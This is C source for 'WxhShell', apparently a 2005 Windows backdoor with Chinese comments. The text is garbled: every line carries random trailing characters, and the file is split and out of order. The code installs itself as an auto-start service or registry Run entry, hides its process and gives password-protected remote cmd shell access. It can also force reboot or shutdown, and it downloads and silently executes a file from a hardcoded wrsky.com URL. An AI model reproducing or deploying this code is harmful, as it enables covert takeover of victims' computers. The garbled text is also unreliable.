    closesocket(wsh); )<-kS  
    ExitThread(0); 'Kp|\T r  
    } )Ky 0q-W  
    break; tv\P$|LV`8  
    } LW ntZ.  
  // 获取shell gHYYxhW$  
  case 's': { B6OggJ9Iq  
    CmdShell(wsh); O#cXvv]Z*  
    closesocket(wsh); z$%ntN#eNA  
    ExitThread(0); YC*S;q  
    break; q^O{LGN  
  } 9~Q.[ A  
  // 退出 j"}alS`-  
  case 'x': { tGv4 S\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,i,f1XJ|  
    CloseIt(wsh); /of,4aaK7  
    break; X(g<rz1J]  
    }  _U#ue  
  // 离开 <P g.N  
  case 'q': { @0n #Qs|E!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,f} s!>j  
    closesocket(wsh); fvN2]@:  
    WSACleanup(); is#?O5:2  
    exit(1); |]\qI  
    break; 0#XZ_(@%  
        } Gq+!%'][P  
  } c1jgBty  
  } vseuk@>  
#sAEIk/  
  // 提示信息 0^:O:X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &ATjDbW*(  
} }g>&l.2X  
  } ]>*Z 1g;  
=GFlaGD  
  return; |w:7).P  
} ]U'KYrh  
Jw"'ZW#W  
// shell模块句柄 "sL#)<%  
int CmdShell(SOCKET sock) J&{E  
{  Ur]5AJ  
STARTUPINFO si; 9K FWa0G  
ZeroMemory(&si,sizeof(si)); L!-T`R8'c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \CU.'|X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -DU[dU*~  
PROCESS_INFORMATION ProcessInfo; 6M259*ME  
char cmdline[]="cmd"; %hcY [F<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6 )xm?RK  
  return 0; spd>.Cm`  
} ?ry`+nx  
#L BZ%%v  
// 自身启动模式 ]e)<CE2   
int StartFromService(void) #}e)*(  
{ ;Fp"]z!Qh+  
typedef struct '.d el7s  
{ au0)yg*V1  
  DWORD ExitStatus; Jr\4x7a;`~  
  DWORD PebBaseAddress; v=9:N/sW  
  DWORD AffinityMask; ,%>/8*  
  DWORD BasePriority; LT# *nr  
  ULONG UniqueProcessId; 6W#M[0  
  ULONG InheritedFromUniqueProcessId; M2vYOg`t:c  
}   PROCESS_BASIC_INFORMATION; /,GDG=ra  
sh E>gTe  
PROCNTQSIP NtQueryInformationProcess; </qXKEu`_  
CbI[K|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z1(rHJd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M nH4p  
g^4'42UX  
  HANDLE             hProcess; sq-[<ryk  
  PROCESS_BASIC_INFORMATION pbi; Dgp"RUP  
QTtcGU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ewY+a , t  
  if(NULL == hInst ) return 0; ^MQ7*g6o  
lN{-}f;TN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /m.6NVu7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); co@Q   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <_ddGg~  
@<AyCaU`.  
  if (!NtQueryInformationProcess) return 0; *,@dt+H!y  
] 6M- s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kCLz@9>FQ  
  if(!hProcess) return 0; XQHvs{P o  
^Shz[=fd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @ 5|F:J  
` *h-j/M  
  CloseHandle(hProcess); rjx6Ad/\  
1i#M(u_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /< h~d  
if(hProcess==NULL) return 0; |HhUU1!  
h6 8sQd  
HMODULE hMod; U]d{hY."  
char procName[255]; LF{d'jJ&K  
unsigned long cbNeeded; MU%C_d%.  
LIirOf~e;!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qmv%N  
Da)9s %_4  
  CloseHandle(hProcess); &37QUdp+p  
cZ%weQa#N)  
if(strstr(procName,"services")) return 1; // 以服务启动 *d?,i -Q.+  
(lTM^3 }  
  return 0; // 注册表启动 g}P.ksM  
} ;r"YZs&Xd  
K"#np!Y)  
// 主模块 [|Jz s[  
int StartWxhshell(LPSTR lpCmdLine) )TBBYCL3  
{ O: :X$O7  
  SOCKET wsl; e>z3 \4  
BOOL val=TRUE; pDrM8)r  
  int port=0; ORyFE:p$  
  struct sockaddr_in door; /\_0daUx  
oCXBek?\  
  if(wscfg.ws_autoins) Install(); rRly0H  
wh[XJ_xY  
port=atoi(lpCmdLine); 31Y+bxQ  
]'EtLFv)  
if(port<=0) port=wscfg.ws_port; 4{[Df$'e>  
jf~/x>Q  
  WSADATA data; w=e~ M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T&fqn!i  
*'1qA0Xc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g75)&U`>}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^<.mUaP  
  door.sin_family = AF_INET; ?8)_,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m}'kxZTOm  
  door.sin_port = htons(port); |!aMj8i2  
Jp=ur)Dj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E,>/6AU  
closesocket(wsl); O*`] ]w]  
return 1; XjuAVNY  
} G= !Gy.  
(6L[eWuTn  
  if(listen(wsl,2) == INVALID_SOCKET) { 8^CL:8lI^\  
closesocket(wsl); fnN"a Z  
return 1; gp$oQh#37;  
} )lTkqz8v  
  Wxhshell(wsl); Z455g/=ye  
  WSACleanup(); $NWXn,Y'  
^Z$%OM,  
return 0; Y?{L:4cRX  
hdXdz aNS  
} hg/G7Ur"  
KtG|m'\D  
// 以NT服务方式启动 >MauuL,.j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4'cdV0]  
{ t"cGv32b  
DWORD   status = 0; c0sU1:e0  
  DWORD   specificError = 0xfffffff; C1:efa<wV  
`$ql>k-6C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ogtKj"a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ' jf$3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "W?<BpV~@!  
  serviceStatus.dwWin32ExitCode     = 0; +ng8!k  
  serviceStatus.dwServiceSpecificExitCode = 0; {r?O>KDQf(  
  serviceStatus.dwCheckPoint       = 0; jSsbLa@  
  serviceStatus.dwWaitHint       = 0; G&I\Za;   
C4 H M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y)0r%=  
  if (hServiceStatusHandle==0) return; -R?~Yysd7K  
+[<|TT  
status = GetLastError(); 7q&Ru|T33  
  if (status!=NO_ERROR) iSCv/Gb:,  
{ }te\) Yk.N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Uf}s6#   
    serviceStatus.dwCheckPoint       = 0; U3}r.9/  
    serviceStatus.dwWaitHint       = 0; u]lf~EE  
    serviceStatus.dwWin32ExitCode     = status; R4.$9_ ui  
    serviceStatus.dwServiceSpecificExitCode = specificError; OlL FuVR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,B_Nz}\8  
    return; hX# y7m  
  } sOhQu>gN  
Q=}p P*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5 ?~ ?8Hi  
  serviceStatus.dwCheckPoint       = 0; .DR^<Qy  
  serviceStatus.dwWaitHint       = 0; -aK_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5(W`{{AW  
} $p#)xx7  
\dO9nwa?  
// 处理NT服务事件,比如:启动、停止 W3Oj6R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u,mC`gz  
{ > `R}ulz)  
switch(fdwControl) gXBC= ?jl  
{ Q x}\[  
case SERVICE_CONTROL_STOP: >k)}R|tJ  
  serviceStatus.dwWin32ExitCode = 0; g <S&sYF5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L  #c*)  
  serviceStatus.dwCheckPoint   = 0; 1S/KT4  
  serviceStatus.dwWaitHint     = 0; #EQwl6  
  { rtd&WkU rD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d:cs8f4>  
  } 2+y<&[A8U  
  return; UIPi<_Xa  
case SERVICE_CONTROL_PAUSE: -'ePx f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9|R]Lz3PA  
  break; O~sv^  
case SERVICE_CONTROL_CONTINUE: ?:73O`sX:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fTQRn  
  break; ^Tgu]t   
case SERVICE_CONTROL_INTERROGATE: K:hZ  
  break; JR>#PJ,N-  
}; \X1?,gV_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q}zAC2@L  
} /UtCJMQ  
Sqw:U|h\FS  
// 标准应用程序主函数 2Hl0besm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I-<U u 2  
{ TJjcX?:(  
:)hS-*P  
// 获取操作系统版本 +0) s {?  
OsIsNt=GetOsVer(); \ t4:(Jp 3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nQbF~   
"5:^aC]  
  // 从命令行安装 b{q-o <Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); mhU ?N  
30cZz  
  // 下载执行文件 H*s_A/$  
if(wscfg.ws_downexe) { =pSuyM'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <\40?*2  
  WinExec(wscfg.ws_filenam,SW_HIDE); O1!hSu&  
} 0$Rl78>(  
$ <'i+kK  
if(!OsIsNt) { mNhVLB  
// 如果时win9x,隐藏进程并且设置为注册表启动 .H;[s  
HideProc(); Vm\ly;v'R  
StartWxhshell(lpCmdLine); QCjC|T9  
} 5~)m6]-6  
else H809gm3(Z  
  if(StartFromService()) %N``EnF2  
  // 以服务方式启动 6xI9 %YDy  
  StartServiceCtrlDispatcher(DispatchTable); 2UqLV^ZY  
else EMK>7 aks  
  // 普通方式启动 B. '&[A  
  StartWxhshell(lpCmdLine); "*E06=fiG  
_ zM/>Qa  
return 0; nM]Sb|1:  
} -!w({rP  
YB?yi( "yL  
J" :R,w`  
;;|S QX  
=========================================== 'VVEd[  
E&js`24 &  
.%Pt[VQ  
D3,9X#B=  
e0rh~@E  
]nmVT~lBe"  
" KYe@2 6   
qRk<1.  
#include <stdio.h> YS$42J_T  
#include <string.h> h zv4+1Wd[  
#include <windows.h> b{X,0a{*  
#include <winsock2.h> Eu;f~ V  
#include <winsvc.h> kF,_o/Jc  
#include <urlmon.h> c-s A?q#|  
CSu}_$wC#  
#pragma comment (lib, "Ws2_32.lib") }wY6^JF  
#pragma comment (lib, "urlmon.lib") '+8`3['  
I;u1mywd  
#define MAX_USER   100 // 最大客户端连接数 q-tm `t*7  
#define BUF_SOCK   200 // sock buffer ^}VAH#c  
#define KEY_BUFF   255 // 输入 buffer x~ ;1CB  
Uxll<z,  
#define REBOOT     0   // 重启 +c+i~5B4  
#define SHUTDOWN   1   // 关机 lxVA:tz0  
= ^NTHc^*  
#define DEF_PORT   5000 // 监听端口 PP1?UT=]  
)c; YR}tC  
#define REG_LEN     16   // 注册表键长度 1ha 8)L  
#define SVC_LEN     80   // NT服务名长度 h! yI(cY  
,\]`X7r  
// 从dll定义API Gt|m;o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {D>@ZC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !Au@\/}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )0\"8}!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,SVl>~!  
W08rGY  
// wxhshell配置信息 }HLs.k4-;  
struct WSCFG { QGq8r>  
  int ws_port;         // 监听端口 26K sP .-  
  char ws_passstr[REG_LEN]; // 口令 Kn#CIFbBN  
  int ws_autoins;       // 安装标记, 1=yes 0=no OZ SM2~  
  char ws_regname[REG_LEN]; // 注册表键名 _G62E $=  
  char ws_svcname[REG_LEN]; // 服务名 QT<\E`v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hKjG/g:#G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7A=*3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >@ :m#d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pRez${f.(s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cxig<W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ug P  
N"zg)MsX  
}; r`OC5IoQ  
lK2=[%,~  
// default Wxhshell configuration +U^H`\EUr  
struct WSCFG wscfg={DEF_PORT, FPC^-mD  
    "xuhuanlingzhe", Hgk@I;  
    1, . l>.  
    "Wxhshell", ]IM/R@  
    "Wxhshell", #*~3gMI{=  
            "WxhShell Service", k>V~ iA  
    "Wrsky Windows CmdShell Service", %8hx3N8>  
    "Please Input Your Password: ", 8bf~uHAr  
  1, v1aE[Q  
  "http://www.wrsky.com/wxhshell.exe", Sa 8T'%W  
  "Wxhshell.exe" F`e o3z  
    }; ZP(T=Q  
2,^ U8/  
// 消息定义模块 $MYAYj9r)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xO0}A1t Wd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I*`;1+`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *a2-Vte  
char *msg_ws_ext="\n\rExit."; DPM4v7 S  
char *msg_ws_end="\n\rQuit."; r=4vN=:  
char *msg_ws_boot="\n\rReboot..."; 6BY(Y(z  
char *msg_ws_poff="\n\rShutdown...";  oHR@*2b  
char *msg_ws_down="\n\rSave to "; 9lR-  
h{/lW#[  
char *msg_ws_err="\n\rErr!"; +]$c+!khj  
char *msg_ws_ok="\n\rOK!"; Xwz'h;Ks_  
 8\Uy  
char ExeFile[MAX_PATH]; *Kmo1>^  
int nUser = 0; #8CeTR23cw  
HANDLE handles[MAX_USER]; k* e $_  
int OsIsNt; Qk?J4 B  
&j!q9F  
SERVICE_STATUS       serviceStatus; *OU&`\bmE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'X P  
xWxgv;Ah  
// 函数声明 )n{9*{Ch  
int Install(void); 2"pFAQBw~i  
int Uninstall(void); W@p27Tiq  
int DownloadFile(char *sURL, SOCKET wsh); J}Ji /  
int Boot(int flag); 6 vr8rJ-  
void HideProc(void); c-`izn]  
int GetOsVer(void); y*vg9`$k  
int Wxhshell(SOCKET wsl); ?!;i/h*{  
void TalkWithClient(void *cs); K [R.B!;N  
int CmdShell(SOCKET sock); * amZ  
int StartFromService(void); wCw_aXqq  
int StartWxhshell(LPSTR lpCmdLine); z *~rd2  
['DYP-1J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >goG\y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #]}]ZE  
~n{lu'SIX2  
// 数据结构和表定义 |TRl >1rv  
SERVICE_TABLE_ENTRY DispatchTable[] = `(&GLv[i^2  
{ kPezR: 31  
{wscfg.ws_svcname, NTServiceMain}, p.RSH$]  
{NULL, NULL} 6>F1!Q  
}; 8ps1Q2|  
@q<d^]po  
// 自我安装 !+Zso&  
int Install(void) sUN9E4  
{ PmlQW!gfBi  
  char svExeFile[MAX_PATH]; JK^pb0ih  
  HKEY key; 2U rE>_  
  strcpy(svExeFile,ExeFile); >e^8fpgSo  
;s!GpO7+  
// 如果是win9x系统,修改注册表设为自启动 fk'DJf[M  
if(!OsIsNt) { Dfw%Bu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {9|S,<9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5Tiap8x+<  
  RegCloseKey(key); KYC<*1k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t&nK5p95(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <59G  
  RegCloseKey(key); pL`)^BJ  
  return 0; n+w$'l  
    } .( X!*J]G  
  } =e|  
} )mE67{YJh~  
else { ldNWdz  
A1/[3Bz  
// 如果是NT以上系统,安装为系统服务 2hFOwI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "J*LR  
if (schSCManager!=0) b_GAK  
{ EQ2HQz ]  
  SC_HANDLE schService = CreateService O^<\]_l  
  ( 2X|nPhNi  
  schSCManager, mmBZ}V+&=  
  wscfg.ws_svcname, {z*`* O@  
  wscfg.ws_svcdisp, C:{&cIFrPe  
  SERVICE_ALL_ACCESS, M =6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "-A@d&5.  
  SERVICE_AUTO_START, &WHK|bl  
  SERVICE_ERROR_NORMAL, 4 k y/a1y-  
  svExeFile, * Fz#x{zt  
  NULL, QIu!o,B  
  NULL, \!!1o+#1j  
  NULL, A\T9>z^k  
  NULL, 7,,#f&jP  
  NULL ~ _W>ND  
  ); Jec<1|  
  if (schService!=0) q\T}jF\t  
  { , \R,O  
  CloseServiceHandle(schService); .q_SA-!w>  
  CloseServiceHandle(schSCManager); HFTDea+#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TDY =!  
  strcat(svExeFile,wscfg.ws_svcname); C5&+1VrP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _Rey~]iJJ8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +8|r_z\A5a  
  RegCloseKey(key); I oFtfb[  
  return 0; vC_O! 2E  
    } i=j4Wg,{J  
  } brClYpp,h  
  CloseServiceHandle(schSCManager); xD4G(]d!  
} `]m/za%7  
} }I ^e:,{  
H`Ld,E2ex&  
return 1; r:9H>4m  
} ">rt *?^  
Cswa5 l`af  
// 自我卸载 @ )m9#F  
int Uninstall(void) l527>7 eT  
{ FN295:Iuw  
  HKEY key; @d_;p<\l  
V9<CeTl'  
if(!OsIsNt) { (]*!`(_b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2Wq/_:  
  RegDeleteValue(key,wscfg.ws_regname); u}BN)%`B  
  RegCloseKey(key); k ks ?S',  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :j( D&?ao  
  RegDeleteValue(key,wscfg.ws_regname); Z=CY6Zu7  
  RegCloseKey(key); C;.+ kE  
  return 0; s&~.";b  
  } d&5GkD.P  
} B)L;ja  
} 3:G94cp5  
else { kU$M 8J.  
j aq/]I7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ljRR{HOl  
if (schSCManager!=0) NZ?|#5 3  
{ .47tj`L   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4 Q FX  
  if (schService!=0) .W q"  
  { ~L=Idt!9  
  if(DeleteService(schService)!=0) { jj*e.t:F  
  CloseServiceHandle(schService); M}W};~V2ng  
  CloseServiceHandle(schSCManager); tx{tIw^2;  
  return 0; i=8){G X4  
  } 'ktWKW$ D  
  CloseServiceHandle(schService); ; #^Jy#)  
  } 7{:g|dX  
  CloseServiceHandle(schSCManager); 5N4[hQrVJ  
} w-(^w9_e  
}  gC}D0l[  
'P5|[du+  
return 1; =| M[JPr  
} W_z?t;  
^7&0P m  
// 从指定url下载文件 yyVv@  
int DownloadFile(char *sURL, SOCKET wsh) 2gbMUdpp  
{ ~TEKxgU  
  HRESULT hr; kN,WB  
char seps[]= "/"; /]*#+;;%  
char *token; A`qb5LLJ)  
char *file; %l8nTcL_?  
char myURL[MAX_PATH]; $>mTPNF  
char myFILE[MAX_PATH]; 8GD!]t#  
]VS$ ?wD  
strcpy(myURL,sURL); fG\]&LFBU  
  token=strtok(myURL,seps); hV4\#K[  
  while(token!=NULL) Mb0cdK?hA  
  { ljo^ 2  
    file=token; 2eh j2T  
  token=strtok(NULL,seps); 3U73_=>=&  
  } @YfCS8 eH  
Cq,hzi-  
GetCurrentDirectory(MAX_PATH,myFILE); >4}2~;  
strcat(myFILE, "\\"); WxF rqUz  
strcat(myFILE, file); #Zy-X_r  
  send(wsh,myFILE,strlen(myFILE),0); DG $._  
send(wsh,"...",3,0); d^<a)>5h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,Cckp! 6  
  if(hr==S_OK) wf8GH}2A  
return 0; 7VwLyy  
else P"WnU'+  
return 1; h.W;Dmf6]  
Aa;s.:?  
} d.3O1TXK  
6hs2B5)+  
// 系统电源模块 ,3{z_Rax-  
int Boot(int flag) n/3gx4.g  
{ t"@: a Y"  
  HANDLE hToken;  *R6n+d  
  TOKEN_PRIVILEGES tkp; (mJqI)m8  
H.ZmLB  
  if(OsIsNt) { 6:Nz=sw8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cn4C K. ?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G;%Pf9 o26  
    tkp.PrivilegeCount = 1; 6T_Mk0Sf+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l&d 6G0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g(0 |p6R  
if(flag==REBOOT) { $LF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Bjz\L0d  
  return 0; K"sfN~@rT[  
} KR6*)?c`  
else { NgnHo\)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *L9s7RR  
  return 0; bTn7$EG  
} L:y} L  
  } syYg, G[  
  else { Hop$w  
if(flag==REBOOT) { 3 9Ql|l$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fFfH9cl!  
  return 0; 2>l:: 8Pp  
} AVR9G^ce_  
else { Lw]:/x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~nk'ZJ   
  return 0; nuB@Fkr  
} $e|G#mMd-  
} w\'Zcw,d  
{q1&4U~'>O  
return 1; S4]xxc  
} nr>g0_%m  
[Pdm1]":(  
// win9x进程隐藏模块 r'p;Nj.  
void HideProc(void) ,0#5kc*X  
{ jG0{>P#+  
+_?;%PKkuF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FV/X&u8~  
  if ( hKernel != NULL ) PZF>ia}  
  { d{f3R8~Q.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <)zh2UI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B(mxW8y  
    FreeLibrary(hKernel); @$~ BU;kR  
  } FG~p _[K  
6$>m s6g%  
return; Hm+-gI3*  
} ,XW6W&vR;  
Lrr^obc  
// 获取操作系统版本 2k[i7Rl \c  
int GetOsVer(void) Wx&AY"J  
{ p1HU2APFP  
  OSVERSIONINFO winfo; j$#pG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DsqsMlB{  
  GetVersionEx(&winfo); -uiZp !  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ou; ]>FJ  
  return 1; XQ<2(}]4  
  else `OnN12`  
  return 0; xyx.1o e!  
} | zj$p~  
YizJT0$  
// 客户端句柄模块 9oP8| <+  
int Wxhshell(SOCKET wsl) J?-"]s`J  
{ F]W'spF,  
  SOCKET wsh; sb_>D`>  
  struct sockaddr_in client;  `-4c}T  
  DWORD myID; HB\y [:E  
WZRrqrjq  
  while(nUser<MAX_USER) A~-e?.  
{ K$Y!d"D  
  int nSize=sizeof(client); g!7/iKj:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DT(A~U<y  
  if(wsh==INVALID_SOCKET) return 1; {t[j>_MYw  
{so"xoA^c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K/G|MT)  
if(handles[nUser]==0) Tn/ 3`j {  
  closesocket(wsh); ReP7c3D>p  
else Qg?^%O'  
  nUser++; E'$r#k:o  
  } <!&nyuSz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PBr-< J  
kAf:_0?6  
  return 0; 4NwGP^ n  
} Y{@ez  
&^1DNpUZ  
// 关闭 socket _C"W;n'  
void CloseIt(SOCKET wsh) IZ3w.:A  
{ ^MUtmzh  
closesocket(wsh); ]BCH9%zLj  
nUser--; gOO\` #  
ExitThread(0); .0#?u1gXsX  
} b}o^ ?NtA  
6+FmYp  
// 客户端请求句柄 mN_RB{g{  
void TalkWithClient(void *cs) 1I KDp]SN  
{ A;w,m{9<  
'HkV_d[li  
  SOCKET wsh=(SOCKET)cs; cy?u *  
  char pwd[SVC_LEN]; c^UG}:Y  
  char cmd[KEY_BUFF]; BG~h9.c  
char chr[1]; uFb&WIo1  
int i,j; !3$Ph  
k5=0L_xc  
  while (nUser < MAX_USER) { ,;H)CUe1"  
NXDdU^w7B  
if(wscfg.ws_passstr) { SwG:?T!"}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UL(R/yc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $PstThM  
  //ZeroMemory(pwd,KEY_BUFF); +K;(H']Z<-  
      i=0; `pm6Ts{,  
  while(i<SVC_LEN) { A%oHx|PD  
a7nbGqsx  
  // 设置超时 (<(8(} x  
  fd_set FdRead; 2>.B*P  
  struct timeval TimeOut; r.[!n)*  
  FD_ZERO(&FdRead); V;~W,o!  
  FD_SET(wsh,&FdRead); [st4FaQ36  
  TimeOut.tv_sec=8; (m=-oQ&Ro  
  TimeOut.tv_usec=0; }!(cm;XA"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0~R0)Q,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >Rjk d>K3  
O@'/B" &  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \NS\>Q+d  
  pwd=chr[0]; S*IF/ fu  
  if(chr[0]==0xd || chr[0]==0xa) { ]gHw;ry  
  pwd=0; %-i2MK'A  
  break; m /JpYv~  
  }  EP'2'51  
  i++; B:a&)L wp0  
    } %[-D&flKC  
U=QV^I Qm  
  // 如果是非法用户,关闭 socket =5oE|F%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,S2D/Y^>  
} H{E223  
%rzC+=*;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7$a,pNDw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 55 Y BO$  
:o&qJ%  
while(1) { GG5wiN*2S  
#<S+E7uTs  
  ZeroMemory(cmd,KEY_BUFF); bB->\  
TV#pUQ3K  
      // 自动支持客户端 telnet标准   g03I<<|@  
  j=0; O2us+DhQ  
  while(j<KEY_BUFF) { lSUEE0V%Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J p!Q2}  
  cmd[j]=chr[0]; VjBV2x  
  if(chr[0]==0xa || chr[0]==0xd) { PiMh]  0  
  cmd[j]=0; #Fl "#g$  
  break; sikG}p0mx<  
  } =m:xf&r#  
  j++; w [D9Q=  
    } ^9%G7J:vGO  
tz)aQ6p\X  
  // 下载文件 D4ESo)15'  
  if(strstr(cmd,"http://")) { p}.L]Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ow!utAF  
  if(DownloadFile(cmd,wsh))  T+9#P4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -[|R \'i  
  else Nj5Mc>_   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y>3Zh5=  
  } f6j;Y<}' g  
  else { 93$'PwWgiF  
1\=)b< y  
    switch(cmd[0]) { C,P>7  
  Pb]: i+c)  
  // 帮助 s% 2w&Us*  
  case '?': { IKMkpX!]  
